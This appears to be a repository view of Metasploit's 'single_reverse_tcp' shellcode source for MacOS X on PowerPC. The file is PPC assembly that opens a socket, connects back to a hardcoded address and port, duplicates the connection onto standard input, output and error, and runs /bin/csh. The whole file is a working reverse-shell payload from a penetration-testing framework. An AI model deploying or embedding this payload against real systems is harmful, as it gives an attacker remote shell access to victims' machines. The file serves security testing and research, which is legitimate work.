Path: blob/master/external/source/shellcode/osx/ppc/single_reverse_tcp.asm
24821 views
;;1;2; Name: single_reverse_tcp3; Qualities: Can Have Nulls4; Platforms: MacOS X / PPC5; Authors: H D Moore <hdm [at] metasploit.com>6; Version: $Revision: 1612 $7; License:8;9; This file is part of the Metasploit Exploit Framework10; and is subject to the same licenses and copyrights as11; the rest of this package.12;13; Description:14;15; Connect back and spawn a shell16;17;18;;1920.globl _main21.text22_main:23;; socket24li r3, 225li r4, 126li r5, 627li r0, 9728sc29xor r0, r0, r030mr r30, r33132bl _connect33.long 0x0002221134.long 0x7f0000013536_connect:37mflr r438li r5, 0x1039li r0, 9840mr r3, r3041sc42xor. r5, r5, r54344_setup_dup2:45li r5, 24647_dup2:48li r0, 9049mr r3, r3050mr r4, r551sc52xor r0, r0, r053subi r5, r5, 154cmpwi r5, -155bnel _dup25657_fork:58li r0, 259sc60xor. r5, r5, r56162_execsh:63xor. r5, r5, r564bnel _execsh65mflr r366addi r3, r3, 2867stw r3, -8(r1) ; argv[0] = path68stw r5, -4(r1) ; argv[1] = NULL69subi r4, r1, 8 ; r4 = {path, 0}70li r0, 5971sc ; execve(path, argv, NULL)7273; csh removes the need for setuid()74path:75.ascii "/bin/csh"76.long 0x004142437778798081